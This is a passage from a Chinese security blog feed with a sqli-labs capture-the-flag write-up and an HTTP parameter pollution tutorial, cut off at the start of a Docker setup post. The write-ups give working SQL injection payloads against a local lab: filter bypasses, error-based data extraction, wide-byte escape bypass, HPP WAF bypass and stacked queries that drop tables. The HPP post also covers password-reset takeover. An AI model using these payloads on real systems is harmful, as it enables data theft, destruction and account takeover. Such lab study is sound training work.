%a0(不间断空格)，%0c(换页符)，%20(空格)，/**/(内联注释)</span><br></pre></td></tr></table></figure><p>我发现还可以用()进行绕过</p><p>payload：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">1</span><span class="string">&#x27;anandd(extractvalue(1,concat(1,(select(database())))))oorr&#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250718114338748.png" alt="" /></p><p>还有个神仙做法：</p><p>用<strong>使用 “||” 替代 “or”</strong></p><p>payload：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">1</span><span class="string">&#x27;||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))||&#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br></pre></td></tr></table></figure><h2 id="less27a"><a class="markdownIt-Anchor" href="#less27a"></a> <a href="http://127.0.0.1:8900/Less-27a/">Less27a</a></h2><p>过滤了select、union、空格、注释符</p><p>双引号闭合</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250718161608614.png" alt="" /></p><p>没有语法报错，不能用报错注入，我们选择联合查询注入</p><p>由于<code>-</code>被过滤，我们选一个较大的数</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250718162514618.png" alt="" /></p><p>接下去正常绕过查询</p><h2 id="less29"><a class="markdownIt-Anchor" href="#less29"></a> <a href="http://127.0.0.1:8900/Less-29/">Less29</a></h2><p>单引号闭合，http参数污染</p><p>这里应该是我的靶场出了点问题，竟然没过滤（都是Protected By The World’s Best Firewall，但是可以正常查询）</p><p>去看了题目的源码，发现还有<code>login.php</code>和<code>hacked.php</code>代码</p><p>只能手动进入<code>login.php</code></p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250719114627832.png" alt="image-20250719114627717" /></p><p>测试了下单引号双引号闭合，都跳转到<code>hacked.php</code></p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250719114553137.png" alt="image-20250719114553014" /></p><p>看了下<code>login.php</code>：</p><p><strong>WAF白名单函数<code>whitelist($input)</code></strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//WAF implimentation with a whitelist approach..... only allows input to be Numeric.</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">whitelist</span>(<span class="params"><span class="variable">$input</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="variable">$match</span> = <span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/^\d+$/&quot;</span>, <span class="variable">$input</span>);</span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$match</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">//echo &quot;you are good&quot;;</span></span><br><span class="line">        <span class="comment">//return $match;</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title function_ invoke__">header</span>(<span class="string">&#x27;Location: hacked.php&#x27;</span>);</span><br><span class="line">        <span class="comment">//echo &quot;you are bad&quot;;</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$match</span> = <span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/^\d+$/&quot;</span>, <span class="variable">$input</span>);</span><br></pre></td></tr></table></figure><p><code>/^\d+$/</code> 的含义：</p><ul><li><code>^</code>：字符串开头</li><li><code>\d+</code>：至少一个数字</li><li><code>$</code>：字符串结尾</li></ul><p>整个正则要求 <strong>输入必须是全数字组成</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;Location: hacked.php&#x27;</span>)</span><br></pre></td></tr></table></figure><p>重定向到<code>hacked.php</code></p><p><strong>HTTP 参数污染（HPP） 行为模拟 <code>java_implimentation($query_string)</code></strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">java_implimentation</span>(<span class="params"><span class="variable">$query_string</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="variable">$q_s</span> = <span class="variable">$query_string</span>;</span><br><span class="line">    <span class="variable">$qs_array</span>= <span class="title function_ invoke__">explode</span>(<span class="string">&quot;&amp;&quot;</span>,<span class="variable">$q_s</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">foreach</span>(<span class="variable">$qs_array</span> <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="variable">$val</span>=<span class="title function_ invoke__">substr</span>(<span class="variable">$value</span>,<span class="number">0</span>,<span class="number">2</span>);</span><br><span class="line">        <span class="keyword">if</span>(<span class="variable">$val</span>==<span class="string">&quot;id&quot;</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="variable">$id_value</span>=<span class="title function_ invoke__">substr</span>(<span class="variable">$value</span>,<span class="number">3</span>,<span class="number">30</span>); </span><br><span class="line">            <span class="keyword">return</span> <span class="variable">$id_value</span>;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;&lt;br&gt;&quot;</span>;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>该方法将 GET 读入的整行参数使用 <code>explode()</code> 方法对 “<code>&amp;</code>” 进行分割，返回一个分割后的数组。接着方法通过 <code>substr(</code>) 方法提取对 “<code>&amp;</code>” 分割后的第一个元素的前 2 个字符，若这 2 个字符是 “<code>id</code>”，则再次使用 <code>substr()</code> 方法提取等号后面的值返回。注意该方法提取的是 2 个同名变量中的第一个，因此它无法对第二个同名变量进行操作</p><p>结合网页给的pdf(这个我打不开，嫖了一下土豆哥的)</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250719112116232.png" alt="img" /></p><p>可以看到搭建在apache服务器上的php服务对于传入多个相同名字的参数，服务器只解析最后一个，由于注入 2 个同名参数时，<code>java_implimentation()</code> 方法返回的参数是第一个 id 参数，此时这个过滤就被我们绕过了，所以<code>$_GET['id']</code>变量实际上是最后一个id参数</p><p><strong>总结：</strong></p><p><strong>1.全数字输入才能绕过WAF</strong></p><p><strong>2.我们可以通过注入两个同名的参数 id，第一个参数用于绕过 WAF，第二个参数用于注入</strong></p><p>payload：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">1</span><span class="operator">&amp;</span>id<span class="operator">=</span><span class="number">-1</span><span class="string">&#x27;union select 1,2,3--+</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250719114743003.png" alt="image-20250719114742887" /></p><h2 id="less32"><a class="markdownIt-Anchor" href="#less32"></a> <a href="http://127.0.0.1:8900/Less-32">Less32</a></h2><p>宽字节注入</p><p>输入<code>'</code>发现其被转义</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250719143251733.png" alt="" /></p><p>查看源码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check_addslashes</span>(<span class="params"><span class="variable">$string</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="variable">$string</span> = <span class="title function_ invoke__">preg_replace</span>(<span class="string">&#x27;/&#x27;</span>. <span class="title function_ invoke__">preg_quote</span>(<span class="string">&#x27;\\&#x27;</span>) .<span class="string">&#x27;/&#x27;</span>, <span class="string">&quot;\\\\\\&quot;</span>, <span class="variable">$string</span>);          <span class="comment">//escape any backslash</span></span><br><span class="line">    <span class="variable">$string</span> = <span class="title function_ invoke__">preg_replace</span>(<span class="string">&#x27;/\&#x27;/i&#x27;</span>, <span class="string">&#x27;\\\&#x27;&#x27;</span>, <span class="variable">$string</span>);                               <span class="comment">//escape single quote with a backslash</span></span><br><span class="line">    <span class="variable">$string</span> = <span class="title function_ invoke__">preg_replace</span>(<span class="string">&#x27;/\&quot;/&#x27;</span>, <span class="string">&quot;\\\&quot;&quot;</span>, <span class="variable">$string</span>);                                <span class="comment">//escape double quote with a backsla</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$string</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>该函数使用正则表达式匹配字符，将 <code>'</code> 转义为 <code>\'</code> ， 将 <code>\</code> 转义为 <code>\\</code> ，将 <code>&quot;</code> 转义为 <code>\&quot;</code></p><p>在Less36中采取：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check_quotes</span>(<span class="params"><span class="variable">$string</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="variable">$string</span> = <span class="title function_ invoke__">mysql_real_escape_string</span>(<span class="variable">$string</span>);    </span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$string</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用<code>mysql_real_escape_string()</code>函数来转义特殊字符</p><p>对于一般的转义字符，我们是无法构造注入的 payload 的，通常情况下不存在SQL注入，但这并不代表网页就没有任何漏洞可以注入</p><p>我们注意到数据库采用gbk编码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">mysql_query</span>(<span class="string">&quot;SET NAMES gbk&quot;</span>);</span><br><span class="line"><span class="variable">$sql</span>=<span class="string">&quot;SELECT * FROM users WHERE id=&#x27;<span class="subst">$id</span>&#x27; LIMIT 0,1&quot;</span>;</span><br><span class="line"><span class="variable">$result</span>=<span class="title function_ invoke__">mysql_query</span>(<span class="variable">$sql</span>);</span><br></pre></td></tr></table></figure><p>这里尝试采用宽字节注入：</p><p>数据库的编码采用 <strong>GBK 国标码</strong>时，虽然单引号还是会加上反斜杠从而被转义，但是 “<code>%df</code>” 会和反斜杠的 URL 编码 “<code>%5C</code>” 闭合，从而构成 GBK 国标码中的汉字“連”，使得用于转义的反斜杠被我们“吃掉”了</p><p>输入<code>%df'</code>时成功返回错误信息，加<code>--+</code>页面正常，绕过成功</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250719144519595.png" alt="" /></p><p>我们采用联合查询注入，但需要注意的是：</p><p>不要使用单引号来闭合字符串，改用十六进制 (HEX) 编码（网页有提示）替代所需数据库名、表名</p><p>如以下使用<code>0x7365637572697479</code>替代<code>security</code></p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250719144540863.png" alt="" /></p><h2 id="less38"><a class="markdownIt-Anchor" href="#less38"></a> <a href="http://127.0.0.1:8900/Less-38/">Less38</a></h2><p>单引号闭合，这题主要用来测试堆叠注入</p><p>在源码中发现：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">mysqli_multi_query</span>(<span class="variable">$con1</span>, <span class="variable">$sql</span>)</span><br></pre></td></tr></table></figure><p>该函数可以执行多个 MySQL 语句。之前的 Less 使用的是 <strong><code>mysql_query()</code> 函数</strong>，只执行一条 MySQL 查询</p><p>插入新用户ikun：</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250719162311304.png" alt="" /></p><p>查询id为999的用户：</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250719162329342.png" alt="" /></p><blockquote><p>堆叠注入：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">1</span>;<span class="keyword">CREATE TABLE</span> WhiteMoon <span class="keyword">LIKE</span> users;<span class="comment">--+</span></span><br><span class="line">?id<span class="operator">=</span><span class="number">1</span>;<span class="keyword">INSERT INTO</span> WhiteMoon <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users;<span class="comment">--+</span></span><br><span class="line">?id<span class="operator">=</span><span class="number">1</span>;<span class="keyword">DELETE</span> <span class="keyword">FROM</span> WhiteMoon;<span class="comment">--+</span></span><br><span class="line">?id<span class="operator">=</span><span class="number">1</span>;<span class="keyword">DROP</span> <span class="keyword">TABLE</span> WhiteMoon;<span class="comment">--+</span></span><br></pre></td></tr></table></figure></blockquote>]]>
    </content>
    <id>https://hackun.top/2025/07/28/sqli-labs/</id>
    <link href="https://hackun.top/2025/07/28/sqli-labs/"/>
    <published>2025-07-28T13:17:00.852Z</published>
    <summary>
      <![CDATA[<h1 id="sqli-labs"><a class="markdownIt-Anchor" href="#sqli-labs"></a> sqli-labs</h1>
<h2 id="less-17"><a class="markdownIt-Anchor" href="#l]]>
    </summary>
    <title>sqli-labs</title>
    <updated>2025-07-28T13:17:46.626Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="漏洞" scheme="https://hackun.top/categories/%E6%BC%8F%E6%B4%9E/"/>
    <category term="HTTP" scheme="https://hackun.top/categories/%E6%BC%8F%E6%B4%9E/HTTP/"/>
    <category term="漏洞" scheme="https://hackun.top/tags/%E6%BC%8F%E6%B4%9E/"/>
    <category term="HTTP" scheme="https://hackun.top/tags/HTTP/"/>
    <content>
      <![CDATA[<h1 id="http参数污染"><a class="markdownIt-Anchor" href="#http参数污染"></a> HTTP参数污染</h1><p>在刷sqli-labs 29时遇到了http参数污染，就想着趁火打劫来学习一下</p><p><code>HTTP Parameter Pollution</code>，简称HPP，是一种注入型漏洞，如果Web应用中存在这样的漏洞，可以被攻击者利用来进行客户端或者服务器端的攻击，通过 HPP 参数污染可以实现绕过 waf 来进行攻击</p><h2 id="漏洞原理"><a class="markdownIt-Anchor" href="#漏洞原理"></a> 漏洞原理</h2><p>浏览器与服务器进行交互时，浏览器提交 GET/POST 请求参数，这些参数会以 “名称-值对” 的形式出现。通常在一个请求中，同样名称的参数只会出现一次，但是在 <strong>HTTP 协议中是允许同样名称的参数出现多次的</strong></p><p>但不同服务器处理方式会不一样</p><p>如Goole和Bing的例子：</p><p>Goole将两次输入的参数值进行拼接（未覆盖）</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250721202204255.png" alt="" /></p><p>Bing将第二次输入覆盖第一次输入</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250721202214629.png" alt="屏幕截图 2025-07-21 200946" /></p><h2 id="覆盖方式"><a class="markdownIt-Anchor" href="#覆盖方式"></a> 覆盖方式</h2><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250721201941128.png" alt="img" /></p><h2 id="waf绕过"><a class="markdownIt-Anchor" href="#waf绕过"></a> WAF绕过</h2><p>HPP其实严格意义上讲并不属于一种漏洞，它是利用了不同服务器对于参数获取的结果不同而导致了可以利用某些漏洞。HPP的特性让它在 WAF 绕过、逻辑漏洞挖掘上具有奇效</p><h3 id="sql绕过"><a class="markdownIt-Anchor" href="#sql绕过"></a> SQL绕过</h3><p>如：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?id=1&amp;id=-1 union select 1,2,database()</span><br><span class="line">?id=-1&amp;id=%20union%20&amp;id=select%201,2&amp;id=,database()</span><br></pre></td></tr></table></figure><h3 id="xss绕过待"><a class="markdownIt-Anchor" href="#xss绕过待"></a> XSS绕过（待）</h3><h3 id="文件上传待"><a class="markdownIt-Anchor" href="#文件上传待"></a> 文件上传（待）</h3><h3 id="逻辑漏洞"><a class="markdownIt-Anchor" href="#逻辑漏洞"></a> 逻辑漏洞</h3><p>HPP 参数污染在逻辑漏洞挖掘中也是一个大杀器</p><h4 id="任意url跳转"><a class="markdownIt-Anchor" href="#任意url跳转"></a> 任意URL跳转</h4><p><code>https://www.example.com?u=https://hackun.com</code> ，由于后端做了限制，当我们把<code>u</code> 改成别的不同源的域名(如<code>https://ikunmma.com</code>)时会报错，但是我们可以利用HPP，将请求地址变成<code>https://www.example.com?u=https://hackun.com&amp;u=https://ikunmma.com</code> 时，由于服务器逻辑错误<br />使用第一个<code>u</code>做校验参数，而第二个<code>u</code>参数做跳转目的地址。于是这样便可成功绕过限制，形成任意 URL 跳转</p><h4 id="任意密码重置短信爆破"><a class="markdownIt-Anchor" href="#任意密码重置短信爆破"></a> 任意密码重置（短信爆破）</h4><p>一般重置密码的时候，会发送短信到用户手机<br />比如GET/POST传递的参数为：<code>phone=13888888888</code><br />我们一般会去想，能不能发送验证码到自己的手机，于是可以构造成： <code>phone=13888888888,12345678901</code> 或者 <code>phone=13888888888;12345678901</code> 或者 <code>phone=&#123;13888888888,12345678901&#125;</code><br />等等一些情况，有时候能通过，但是有些时候会出现 号码不合法 的情况，此时便可以考虑利用 HPP —— <code>phone=13888888888&amp;phone=12345678901</code>，如果恰好服务器用第一个号码验证是否存在该用户，而使用第二个号码发送短信时，我们便可以接管该用户</p><h2 id="防御"><a class="markdownIt-Anchor" href="#防御"></a> 防御</h2><ol><li>设备层面，让WAF或其他网关设备（比如IPS）在检查URL时，对同一个参数被多次赋值的情况进行特殊处理。由于HTTP协议允许相同参数在URL中多次出现，因此这种特殊处理需要注意避免误杀的情况；</li><li>代码层面，编写WEB程序时，要通过合理的<code>$_GET</code>方法获取URL中的参数值，而尝试获取 Web服务器返回给程序的其他值时要慎重处理，结合其他漏洞的产生进行组合排查</li></ol><h2 id="例题"><a class="markdownIt-Anchor" href="#例题"></a> 例题</h2><h3 id="sqli-labs-29"><a class="markdownIt-Anchor" href="#sqli-labs-29"></a> <a href="http://127.0.0.1:8900/Less-29/">sqli-labs 29</a></h3><p>单引号闭合，http参数污染</p><p>这里应该是我的靶场出了点问题，竟然没过滤（都是Protected By The World’s Best Firewall，但是可以正常查询）</p><p>去看了题目的源码，发现还有<code>login.php</code>和<code>hacked.php</code>代码</p><p>只能手动进入<code>login.php</code></p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250721224639295.png" alt="image-20250719114627717" /></p><p>测试了下单引号双引号闭合，都跳转到<code>hacked.php</code></p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250721224533639.png" alt="image-20250719114553014" /></p><p>看了下<code>login.php</code>：</p><p><strong>WAF白名单函数<code>whitelist($input)</code></strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//WAF implimentation with a whitelist approach..... only allows input to be Numeric.</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">whitelist</span>(<span class="params"><span class="variable">$input</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="variable">$match</span> = <span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/^\d+$/&quot;</span>, <span class="variable">$input</span>);</span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$match</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">//echo &quot;you are good&quot;;</span></span><br><span class="line">        <span class="comment">//return $match;</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title function_ invoke__">header</span>(<span class="string">&#x27;Location: hacked.php&#x27;</span>);</span><br><span class="line">        <span class="comment">//echo &quot;you are bad&quot;;</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$match</span> = <span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/^\d+$/&quot;</span>, <span class="variable">$input</span>);</span><br></pre></td></tr></table></figure><p><code>/^\d+$/</code> 的含义：</p><ul><li><code>^</code>：字符串开头</li><li><code>\d+</code>：至少一个数字</li><li><code>$</code>：字符串结尾</li></ul><p>整个正则要求 <strong>输入必须是全数字组成</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;Location: hacked.php&#x27;</span>)</span><br></pre></td></tr></table></figure><p>重定向到<code>hacked.php</code></p><p><strong>HTTP 参数污染（HPP） 行为模拟 <code>java_implimentation($query_string)</code></strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">java_implimentation</span>(<span class="params"><span class="variable">$query_string</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="variable">$q_s</span> = <span class="variable">$query_string</span>;</span><br><span class="line">    <span class="variable">$qs_array</span>= <span class="title function_ invoke__">explode</span>(<span class="string">&quot;&amp;&quot;</span>,<span class="variable">$q_s</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">foreach</span>(<span class="variable">$qs_array</span> <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="variable">$val</span>=<span class="title function_ invoke__">substr</span>(<span class="variable">$value</span>,<span class="number">0</span>,<span class="number">2</span>);</span><br><span class="line">        <span class="keyword">if</span>(<span class="variable">$val</span>==<span class="string">&quot;id&quot;</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="variable">$id_value</span>=<span class="title function_ invoke__">substr</span>(<span class="variable">$value</span>,<span class="number">3</span>,<span class="number">30</span>); </span><br><span class="line">            <span class="keyword">return</span> <span class="variable">$id_value</span>;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;&lt;br&gt;&quot;</span>;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>该方法将 GET 读入的整行参数使用 <code>explode()</code> 方法对 “<code>&amp;</code>” 进行分割，返回一个分割后的数组。接着方法通过 <code>substr(</code>) 方法提取对 “<code>&amp;</code>” 分割后的第一个元素的前 2 个字符，若这 2 个字符是 “<code>id</code>”，则再次使用 <code>substr()</code> 方法提取等号后面的值返回。注意该方法提取的是 2 个同名变量中的第一个，因此它无法对第二个同名变量进行操作</p><p>搭建在apache服务器上的php服务对于传入多个相同名字的参数，服务器只解析最后一个，由于注入 2 个同名参数时，<code>java_implimentation()</code> 方法返回的参数是第一个 id 参数，此时这个过滤就被我们绕过了，所以<code>$_GET['id']</code>变量实际上是最后一个id参数</p><p><strong>总结：</strong></p><p><strong>1.全数字输入才能绕过WAF</strong></p><p><strong>2.我们可以通过注入两个同名的参数 id，第一个参数用于绕过 WAF，第二个参数用于注入</strong></p><p>payload：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">1</span><span class="operator">&amp;</span>id<span class="operator">=</span><span class="number">-1</span><span class="string">&#x27;union select 1,2,3--+</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250721224657633.png" alt="image-20250719114742887" /></p><blockquote><p>参考：</p><p><a href="https://www.cnblogs.com/wjrblogs/p/12966636.html">HTTP参数污染学习</a></p><p><a href="https://blog.csdn.net/weixin_50464560/article/details/120182543">Bypass WAF之HTTP参数污染(HPP)漏洞挖掘</a></p></blockquote>]]>
    </content>
    <id>https://hackun.top/2025/07/21/HTTP%E5%8F%82%E6%95%B0%E6%B1%A1%E6%9F%93/</id>
    <link href="https://hackun.top/2025/07/21/HTTP%E5%8F%82%E6%95%B0%E6%B1%A1%E6%9F%93/"/>
    <published>2025-07-21T14:49:56.174Z</published>
    <summary>
      <![CDATA[<h1 id="http参数污染"><a class="markdownIt-Anchor" href="#http参数污染"></a> HTTP参数污染</h1>
<p>在刷sqli-labs 29时遇到了http参数污染，就想着趁火打劫来学习一下</p>
<p><code>H]]>
    </summary>
    <title>HTTP参数污染</title>
    <updated>2025-07-21T14:49:35.510Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="Docker" scheme="https://hackun.top/categories/Docker/"/>
    <category term="Docker" scheme="https://hackun.top/tags/Docker/"/>
    <content>
      <![CDATA[<p>年少不知docker难，初学已是docker人</p><span id="more"></span><h1 id="初探docker"><a class="markdownIt-Anchor" href="#初探docker"></a> 初探Docker</h1><p><a href="https://www.docker.com/">docker官方安装网站</a></p><h2 id="汉化"><a class="markdownIt-Anchor" href="#汉化"></a> 汉化</h2><p>下载对应版本中文语言包：</p><p><a href="https://github.com/asxez/DockerDesktop-CN/releases">DockerDesktop-CN</a></p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717163030457.png" alt="" /></p><p>找到docker安装目录，备份并替换asar文件</p><p><code>\Docker\Docker\frontend\resources</code></p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717163309674.png" alt="" /></p><p>重启软件后即可出现汉化界面</p><h2 id="构造镜像时报错处理"><a class="markdownIt-Anchor" href="#构造镜像时报错处理"></a> 构造镜像时报错处理</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ERROR [internal] load metadata for docker.io</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717163608851.png" alt="" /></p><p>这里采用更换镜像源的方法</p><p>在Docker 引擎中json文件加入：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">&quot;registry-mirrors&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="string">&quot;https://docker.registry.cyou/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://docker-cf.registry.cyou/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://dockercf.jsdelivr.fyi/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://docker.jsdelivr.fyi/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://dockertest.jsdelivr.fyi/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://mirror.aliyuncs.com/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://dockerproxy.com/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://mirror.baidubce.com/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://docker.m.daocloud.io/&quot;</span><span 